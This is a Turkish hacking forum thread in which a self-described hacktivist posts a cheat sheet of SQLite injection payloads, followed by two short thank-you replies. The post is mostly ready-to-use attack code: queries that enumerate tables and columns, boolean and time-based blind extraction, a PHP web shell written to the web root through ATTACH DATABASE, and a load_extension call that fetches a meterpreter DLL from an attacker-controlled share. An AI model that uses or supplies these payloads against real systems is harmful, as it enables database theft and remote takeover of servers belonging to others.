Konuyu Oyla:
  • Toplam: 1 Oy - Ortalama: 5
  • 1
  • 2
  • 3
  • 4
  • 5
   
Konu: SQLite Enjeksiyon Payload Örnekleri
KingSkrupellos
*
avatar
Hacktivist
Durum: Çevrimdışı
Seviye Puanı: 56
Yaşam Puanı: 1,378 / 1,378
Deneyim: 13 / 100
Rep Sayısı: 2791
Mesaj Sayısı: 6399
Üyelik Tarihi: 21.08.2013
     
Yorum: #1
SQLite Enjeksiyon Payload Örnekleri
10.02.2019 14:42
SQLite Enjeksiyon Payload Örnekleri

Author : KingSkrupellos
Team : Cyberizm Digital Security Team

## SQLite comments

Kod:
```sql
--
/**/
```

## SQLite version

Kod:
```sql
select sqlite_version();
```

## Integer/String based - Extract table name

Kod:
```sql
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```

Use limit X+1 offset X, to extract all tables.

Kod:
## Integer/String based - Extract column name

[code]```sql
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```

For a clean output

Kod:
```sql
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(​substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'​')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```

## Boolean - Count number of tables

Kod:
```sql
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
```

## Boolean - Enumerating table name

Kod:
```sql
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
```

## Boolean - Extract info

Kod:
```sql
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```

## Time based

Kod:
```sql
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```

## Remote Command Execution using SQLite command - Attach Database

Kod:
```sql
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
```

## Remote Command Execution using SQLite command - Load_extension

Kod:
```sql
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
```

Note: By default this component is disabled

___________________________________________

$$$$$$$ THE END $$$$$$$$

We don't care what people think about us, we are proud of us, we not gonna change for anyone. I do not have own no website. No Contact. # KingSkrupellos # Cyberizm Digital Security Technological Turkish Moslem Army.



Alinti
Rep Verenler: MECZUP
MECZUP
*
avatar
Binbaşı
Durum: Çevrimdışı
Seviye Puanı: 10
Yaşam Puanı: 247 / 247
Deneyim: 88 / 100
Rep Sayısı: 23
Mesaj Sayısı: 140
Üyelik Tarihi: 17.10.2018
      
Yorum: #2
RE: SQLite Enjeksiyon Payload Örnekleri
10.02.2019 15:15
Teşekkürler, Emeğine Sağlık Smile

Meczup Official

Alinti
#Ayar
*
avatar
Tabutçu
Durum: Çevrimdışı
Seviye Puanı: 35
Yaşam Puanı: 791 / 869
Deneyim: 78 / 100
Rep Sayısı: 1534
Mesaj Sayısı: 1838
Üyelik Tarihi: 13.08.2013
      
Yorum: #3
RE: SQLite Enjeksiyon Payload Örnekleri
11.02.2019 11:42
Teşekkürler, Emeğine Sağlık Smile

Başka forumlarda üyeliğim bulunmamaktadır.
ayar
Alinti



1 Ziyaretçi